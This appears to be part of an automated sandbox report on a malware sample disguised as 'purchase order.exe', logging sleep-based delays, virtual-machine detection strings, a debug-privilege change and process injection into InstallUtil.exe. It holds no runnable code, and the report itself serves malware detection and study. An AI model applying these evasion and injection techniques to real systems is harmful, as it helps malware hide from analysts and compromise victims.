Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596812s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596703s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596593s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596374s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596265s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596149s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -596046s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595827s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595718s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595499s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595390s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595171s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -595062s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -594953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -594843s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -594734s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2472	Thread sleep time: -594625s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599434	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598442	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598197	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598060	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597952	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597043	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596928	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595692	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594858	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594638	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594308	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594198	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598237	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598116	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599327
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598671
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598343
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596921
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596149
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595827
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595499
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594625

Source: Bohw.exe, 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Bohw.exe, 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: purchase order.exe, 00000000.00000002.2561805617.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3684551628.0000000000B32000.00000004.00000020.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2878118877.0000000001050000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3685687505.0000000000C66000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3684393983.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Bohw.exe, 00000005.00000002.2787245422.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD

Source: C:\Users\user\Desktop\purchase order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 8_2_066B7930 LdrInitializeThunk,

8_2_066B7930

Source: C:\Users\user\Desktop\purchase order.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\purchase order.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 424000	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7BD008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 424000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 60F008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 424000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: B68008	Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe	Queries volume information: C:\Users\user\Desktop\purchase order.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
